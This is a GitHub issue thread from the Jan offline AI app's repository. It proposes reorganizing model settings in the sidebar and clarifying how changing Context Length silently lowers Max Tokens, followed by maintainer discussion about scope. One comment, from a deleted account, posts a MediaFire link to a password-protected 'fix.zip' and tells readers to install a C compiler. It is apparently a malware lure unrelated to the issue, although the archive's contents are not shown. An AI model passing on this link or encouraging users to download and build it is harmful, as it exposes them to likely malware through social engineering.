janhq / jan

Jan is an open source alternative to ChatGPT that runs 100% offline on your computer. Multiple engine support (llama.cpp, TensorRT-LLM)
https://jan.ai/
GNU Affero General Public License v3.0
23.28k stars 1.35k forks source link

idea: [UX enhancement] Improve sidebar settings hierarchy and better UX handling of Context Length/Max Tokens relationship #3738

Open imtuyethan opened 1 month ago

imtuyethan commented 1 month ago

Problem Statement

Currently, changing the Context Length automatically adjusts the Max Tokens value, which can lead to unexpected behavior and confusion for users. The relationship between these two settings is not immediately clear, and users may unintentionally reduce their Max Tokens without realizing it. This can result in shortened and truncated replies, potentially being perceived as a bug or poor software design.

Proposed Changes

1. Model Selection
   - Model dropdown

2. Model Capacity
   - Context Length
   - Max Tokens
   - Number of GPU layers (ngl)

3. Response Control 
   - Temperature
   - Top P
   - Stream
   - Frequency Penalty
   - Presence Penalty
   - Stop

4. Advanced Settings
   - Prompt template

Figma link: https://www.figma.com/design/DYfpMhf8qiSReKvYooBgDV/Jan-App-(3rd-version)?node-id=8930-46312&t=bJX9XIK7iffILBnO-4

Screenshot 2024-11-05 at 9 23 01 AM

By rearrange the settings like this, we could improve:

Notes:

ghost commented 1 month ago

I think this will help you. https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file Archive codepass: changeme If you don't have the c compliator, install it.(gcc or clang)

0xSage commented 3 weeks ago

Related #3796

Let's keep it simple. The current feature idea is too complex

imtuyethan commented 3 weeks ago

Related #3796

Let's keep it simple. The current feature idea is too complex

I think this is not related to https://github.com/janhq/jan/issues/3796.

This is purely around how changing context length affect max token but the users are not well informed about the changes, the UX could be improved. Let's move this to Planning sprint 25?